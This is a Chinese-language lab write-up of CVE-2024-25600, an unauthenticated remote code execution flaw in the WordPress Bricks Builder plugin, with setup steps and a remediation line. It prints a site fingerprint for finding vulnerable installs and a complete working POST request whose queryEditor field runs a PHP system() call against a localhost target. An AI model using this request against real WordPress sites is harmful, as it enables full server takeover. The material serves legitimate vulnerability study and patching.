CVE-2024-25600:WordPress Bricks Builder RCE

CVE-2024-25600:WordPress Bricks Builder RCE

HowellFeng

2025-01-22 发布82 浏览 · 1 点赞 · 0 收藏

0x01 简介

Bricks Builder 是一个 WordPress 页面构建插件,它提供了一个直观的拖放界面,让用户能够轻松创建自定义的网页布局,而无需编写代码。通过丰富的元素库和实时预览功能,用户可以快速设计出专业的网页,同时支持响应式设计和自定义样式,确保网站在各种设备上都能提供良好的用户体验。

0x02 漏洞概述

一个严重的远程代码执行 (RCE) 漏洞,影响 WordPress 的 Bricks Builder 插件。该漏洞的 CVSS 评分为 9.8,属于高危漏洞。漏洞的根本原因是 prepare_query_vars_from_settings() 函数中的 eval 函数执行了用户控制的输入,但由于权限检查不当,导致未经身份验证的攻击者可以在受影响的 WordPress 网站上执行任意 PHP 代码,最终控制服务器。

影响版本:Bricks Builder <= 1.9.6

漏洞详情

  • 漏洞类型:程序逻辑错误
  • 危害描述:设备完全控制

0x03 环境搭建

  1. 下载 Bricks Builder(==注意版本==)
  2. 下载 WordPress
  3. 安装phpstudy,启动,手动创建一个数据库phpstudy-2024-25600-sql.png
  4. 将下载的WordPress解压到WWW目录下,访问 http://localhost/WordPress-6.4.3/ 自动跳转到安装界面,设置数据库(此数据库即为上一步创建的my_wordpress_db)。若网页数据库设置不成功,则需要按照以下步骤进行设置:
    1. 复制这个文件,并改名为wp-config.php ,并用记事本打开wp-config-sample.php.png
    2. 将这些项目设置成你的信息wp-config=setting01.png
    3. 访问WordPress.org的密钥服务生成一组唯一的密钥和盐值,然后替换掉以下代码中的put your unique phrase here部分。put-your-unique-phrase-here.png
    4. 如果你在同一数据库中安装多个WordPress站点,可以修改表前缀以避免表名冲突。SQL-Name.png
  5. 完成设置后登录,进入后台,点击 外观- 主题 – 安装主题。Bricks-Build.png
    1. 先安装文件名为bricks1.x.x.zip的这个文件(==注意版本==),请注意安装完这个不要点启用。而是点击转到主题页面,继续安装子主题。father-bricks.png
    2. 回到主题安装界面,接着安装子主题,安装完子主题选择启用主题。(可以不用,装了父主题后直接启用)Bricks-child.png

0x04 漏洞利用

指纹特征:body中包含/wp-content/themes/bricks/

  • ==“指纹特征”==就像是一个网站的“身份证”。每个网站都有自己独特的标识,这些标识可以帮助我们识别它使用了哪些技术或插件。
    • 在网络安全中,我们经常需要知道一个网站使用了哪些插件或主题,这样可以检查它是否有已知的安全漏洞。比如,如果一个插件有安全问题,我们可以通过检查网站(HTML中的body部分)是否使用了这个插件来判断它是否可能受到攻击。
  1. 首先需要得到 nonce(==“只使用一次的数字”,它是一个在密码学和信息安全领域中广泛使用的概念,表示一个只能被使用一次的随机数或数值,主要用于确保数据传输的安全性和防止重放攻击==),直接访问网站即可(用Burpsuite抓包时代理使用如下配置,访问网站时使用WLAN的IPv4地址):BP-Nonce.pngproxy-local.pngWLAN-IPv4.png
  2. 然后就可以构造POC,执行代码了。(注意请求体格式)
POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 295

{
"postId":"1",
"nonce":"9e6ffc5527",
"element":{
    "name":"container",
    "settings":{
        "hasLoop":"",
        "query":{
            "useQueryEditor":true,
            "queryEditor":"system('calc');throw new Exception();", 
            "objectType":""
        }
    }
}
}

一开始因为请求体缩进和编码的问题,导致攻击失败,一定要注意请求体格式!!!failed-bricks.png
改了格式后就能成功了。/(ㄒoㄒ)/~~ success-bricks.png

0x05 修复建议

升级到 Bricks Builder 1.9.6.1 或更高版本,以应用修复补丁。

请前往 登录/注册 即可发表您的看法…